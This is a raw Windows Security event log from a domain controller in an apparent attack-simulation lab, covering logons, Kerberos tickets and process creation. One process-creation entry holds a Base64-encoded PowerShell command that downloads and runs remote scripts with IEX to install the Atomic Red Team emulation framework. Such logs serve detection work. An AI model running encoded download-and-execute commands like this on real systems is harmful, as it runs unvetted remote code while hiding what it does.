Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5371E1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257696
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53446A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257749
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1320
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xde4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257748
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x542403

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257747
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x542403
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7F565D91-968B-DE4F-AA22-ADADBF1E1E09}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257746
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7F565D91-968B-DE4F-AA22-ADADBF1E1E09}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257745
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7F565D91-968B-DE4F-AA22-ADADBF1E1E09}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257744
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257743
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x99c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x60c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES3E03.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF0EF6E1972CB48A1A98F6FCBD63A8F.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257742
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xde4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\ylvbyvhf.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257741
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54186E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257740
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54186E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7F565D91-968B-DE4F-AA22-ADADBF1E1E09}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257739
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7F565D91-968B-DE4F-AA22-ADADBF1E1E09}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257738
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7F565D91-968B-DE4F-AA22-ADADBF1E1E09}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257737
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257736
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xde4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xca0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES4A28.tmp" "c:\Users\Administrator\AppData\Local\Temp\2furibnf\CSC9D91FFB7985745A9A1924AB23474D441.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257750
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1320
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2furibnf\2furibnf.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257773
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257772
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257771
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257770
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

